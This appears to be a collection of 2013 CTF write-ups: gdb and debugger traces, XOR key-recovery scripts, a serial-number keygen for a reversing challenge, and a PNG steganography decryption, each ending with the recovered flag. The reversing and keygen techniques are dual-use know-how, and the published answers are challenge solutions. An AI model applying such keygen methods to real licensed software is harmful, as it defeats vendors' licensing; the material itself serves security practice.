(gdb) continue
(gdb) x/3i 0x080483f5
=> 0x80483f5:   push   eax
   0x80483f6:   xor    eax,eax
   0x80483f8:   je     0x80483fd
(gdb) b *0x80483fd
(gdb) continue
(gdb) x/2i 0x080483fd
=> 0x80483fd:   pop    eax
   0x80483fe:   jmp    0x8048486
(gdb) b *0x8048486
(gdb) continue
(gdb) x/4i 0x08048486
=> 0x8048486:   mov    eax,DWORD PTR [esp+0x14]
   0x804848a:   sub    eax,0x2
   0x804848d:   cmp    eax,DWORD PTR [esp+0x1c]
   0x8048491:   ja     0x8048403
(gdb) x/xw $esp+0x14
0xffffd604:     0x00000042
(gdb) x/xw $esp+0x1c
0xffffd60c:     0x00000000
(gdb) b *0x8048403
(gdb) continue
(gdb) x/20i 0x08048403
=> 0x8048403:   mov    eax,DWORD PTR [esp+0x1c] // eax = 0x0
   0x8048407:   and    eax,0x7   // eax = 0x0 
   0x804840a:   movzx  eax,BYTE PTR [eax+0x80d108c] // eax = 0x4d [0x80d108c] = "MOVEFAST"
   0x8048411:   not    eax    // eax = 0xffffffb2
   0x8048413:   mov    BYTE PTR [esp+0x1b],al  // [esp+0x1b] = 0x000000b2
   0x8048417:   mov    eax,DWORD PTR [esp+0x1c] // eax = 0x0 
   0x804841b:   mov    edx,DWORD PTR [esp+0x10] // edx = 0x080d5298 [0x080d5298] = "1234567890\n"
   0x804841f:   add    eax,edx   // eax = 0x080d5298
   0x8048421:   movzx  eax,BYTE PTR [eax]  // eax = 0x31
   0x8048424:   not    eax    // eax = 0xffffffce
   0x8048426:   mov    BYTE PTR [esp+0x1a],al  // [esp+0x1a] = 0x0000b2ce
   0x804842a:   mov    edx,DWORD PTR ds:0x80d1088 // edx = 0x80b21e8 [0x80b21e8] = "{\177gtsyjg,xorut21.zb \"t65t~0'\"#5d,-g|t$f1(.dq\177te2.}o##%`lyy`$ x2f"
   0x8048430:   mov    eax,DWORD PTR [esp+0x1c] // eax = 0x0
   0x8048434:   add    eax,edx   // eax = 0x80b21e8
   0x8048436:   movzx  edx,BYTE PTR [eax]  // edx = 0x7b
   0x8048439:   movzx  eax,BYTE PTR [esp+0x1a] // eax = 0xce
   0x804843e:   movzx  ecx,BYTE PTR [esp+0x1b] // ecx = 0xb2
   0x8048443:   xor    eax,ecx   // eax = 0x7c
   0x8048445:   cmp    dl,al   // dl != al
   0x8048447:   je     0x8048481
(gdb) x/5i 0x8048481
   0x8048481:   add    DWORD PTR [esp+0x1c],0x1
   0x8048486:   mov    eax,DWORD PTR [esp+0x14]
   0x804848a:   sub    eax,0x2
   0x804848d:   cmp    eax,DWORD PTR [esp+0x1c]
   0x8048491:   ja     0x8048403
(gdb) quit
# cat canada.py
#!/usr/bin/python

constraint = "{\177gtsyjg,xorut21.zb \"t65t~0'\"#5d,-g|t$f1(.dq\177te2.}o##%`lyy`$ x2f"
xorkey = "MOVEFAST"
key = ""

for i in range(len(constraint)):
        c = ord(constraint[i])
        x = ord(xorkey[i%8])
        #~k ^ ~x = c
        k = ~(c^~x)
        key += hex(k)[2:].decode("hex")
print key
# ./canada.py
60115893a79735aec54ed5ea91fbdbf0ab192e5eea24956fc29fed38466af9a2
# ./howtobasic
Facebook CTF
Enter flag: 60115893a79735aec54ed5ea91fbdbf0ab192e5eea24956fc29fed38466af9a2
Winner! Post your flag.

# NcN CTF 2k13: Algeria (Base - 900 pts)


# echo -n '425a6839314159265359d77d47c600ca357b84e810004070edfd1a082a7fffff2b0000800860083deaf9428555294ad51a5512b4c5365ef11200000000000003410a8cca604668004600000261800068000c9a00000d008554432680d00680034000009a95289ea651a6046d09b4098200c4c01494a6a6940007a806806400007b7b65fec32018b455437f94574ce0c6e89aa40860733f66a6430f6393e3b9dd7cfcbb7d5d7d1cba38eae3a82257a278eb6d36b6b28894a68696858a96a82a95b028c2e26db6844d60d3359ab6b69ad8d95c5ca5aa71a6138a63566da9031018a2d34d929b52b6663260db6aada6cb30cd0438b1049b5559f0299840c94ca9b2ca6ad121a2c26aacd0acc451b4954d343480cb6a9acc622b8ec413d4efdfbff7bbc52354d0a17286a4abf2db616465828b89b10187a3f6f2a9d9bd3a191caa1e2ef2e101cc8b534a8e25354754d491e1f8fa3b97878d4e5324e34bfcf36e240bb2ad09d66db136ccad904b652862d0952ccae96e1616b0b8a5ac8d36d444d81b3656c0352b232b22cd2ad5b6b012b2b22b6d4a62336ab29b0d52c62cc593068b65616b48b26db6d56a9b66d59b5b034b2526616c555caab394495db006d990aeccb0b4a25c615c7358e01cd85b2d956d4660a198a16c50da27246900e2ca90b8c9473556d0a2ada2bb95288c24985cf60d6b32d6a9a594dac406436b6ac11954a30b4c834cab699298db4a564c4dad6b588da9b26a018a6aa985b199a992d531294932d44910814b304c80d02936564866881acda0c6698a81294a02cc44030af363c9b3eb97ab8f8c1cfb83aeb75e7ebae9e7faf77ebeade3ce77edbc7cdeef967acf65d787c20f0536454b36c0d998ab35503686ccd84795550e50f22034b0b5511cd49aa33446c09a8d66a24ca321598596cb535880d890d95b4226cdac8a971252c9153c38054b06a6aab416b22a58a29ad121d2a34924728aae0918ba701570495855cd785550e2205c06a5266ab9491ca1c35550d5017800ec6da6c98aa5649a24334a3166a84b96d8a970256d22534c852cdadac284b5052b56a922d0c4a596a36998c46a98ad98d532d25acb2ad1416916a98165491a14856aa942205002a61668566162d69534ad0c2d16295aca455b0616126c36141929ab5325986832159223101859252c2329b42c9332a8d0834daab4b02c84ad858b16d3584ac8d6b55a180655a86d5546b150655894d2d06d294c90306696ca505050c2b2a349144a4c440aa56ac064d16cb62b2daa1a2d628c5915ad5604cacc952d9828955408519500071631e1f7c1f867f11d2f076331f1821e0db0604cc0a51e54cd10fe906c2531dc02045520201c25547cd09fa1369c5c29564c3d13b3241deef406acc8c633fe8d450b21c001007e2ee48a70a121aefa8f8c' | xxd -p -r | tar xvjf -
main.js
# grep 'var loginScript' main.js | sed 's/var /exports./' > variable.js
# nodejs
> ls = require('./variable.js');
> eval(ls.loginScript.slice(2,-2));
[ 'if (document.getElementById(\'user_pass\').value === "0f97972a0efd34ebb3111ac8ec6976740529df531e94df14d0ee8614a07d153b") { alert(\'win\'); } else { alert(\'try again\'); }' ]

# SecurityArtWork: Reversing challenge


# wget --quiet http://www.securityartwork.es/wp-content/uploads/2013/11/serial.exe
# file serial.exe
serial.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows
- Breakpoints
004019B5  |. E8 F6FCFFFF               CALL serial.004016B0
00401776   . 83E8 0F                   SUB EAX,0F
004018FA   . 39C2                      CMP EDX,EAX
- Key function
004018D2   . 8B45 F8                   MOV EAX,DWORD PTR SS:[EBP-8]
004018D5   . 83C0 01                   ADD EAX,1
004018D8   . 8B0485 00404000           MOV EAX,DWORD PTR DS:[EAX*4+404000]
004018DF   . 8B1485 40704000           MOV EDX,DWORD PTR DS:[EAX*4+407040]
004018E6   . 8B45 F8                   MOV EAX,DWORD PTR SS:[EBP-8]
004018E9   . 83C0 02                   ADD EAX,2
004018EC   . 8B0485 00404000           MOV EAX,DWORD PTR DS:[EAX*4+404000]
004018F3   . 8B0485 40704000           MOV EAX,DWORD PTR DS:[EAX*4+407040]
004018FA   . 39C2                      CMP EDX,EAX
004018FC   . 75 0C                     JNZ SHORT serial.0040190A

# cat serial.py
#!/usr/bin/python

check = [0,4,6,0,6,0,0,5,6,3,0,5,6,9,2,5]
key = ""

for i in range(16):
        for j in range(10):
                if i*j % 10 == check[i]:
                        key += str(j)
                        break
print key
# ./serial.py
0430400527053331
# cat serials.py
#!/usr/bin/python

check = [0,4,6,0,6,0,0,5,6,3,0,5,6,9,2,5]
key = ""

def serial(key,p):
        for n in range(10):
                if p*n % 10 == check[p]:
                        if p < 15:
                                serial(key + str(n),p+1)
                        else:
                                print key + str(n)
serial("",0)

C:\> serial.exe 0430400527053331
Valid serial number :-)

# CSCamp CTF Quals 2k13: Steganography - PNG


# file enc.png
enc.png: data
# cat png.py 
#!/usr/bin/python

png = 0x89504e470d0a
enc = 0xf1601c2c3e73

key = str(hex(png^enc))[2:].decode("hex")
print key

encfd = open("enc.png","rb")
data = encfd.read()
encfd.close()
size = len(data)

decfd=open("dec.png","wb")
j = 0

for i in data:
    decfd.write(chr(ord(i)^ord(key[j%6])))
    j+=1

decfd.close()
# ./png.py
x0Rk3y
# file dec.png
dec.png: PNG image data, 640 x 400, 8-bit/color RGBA, non-interlaced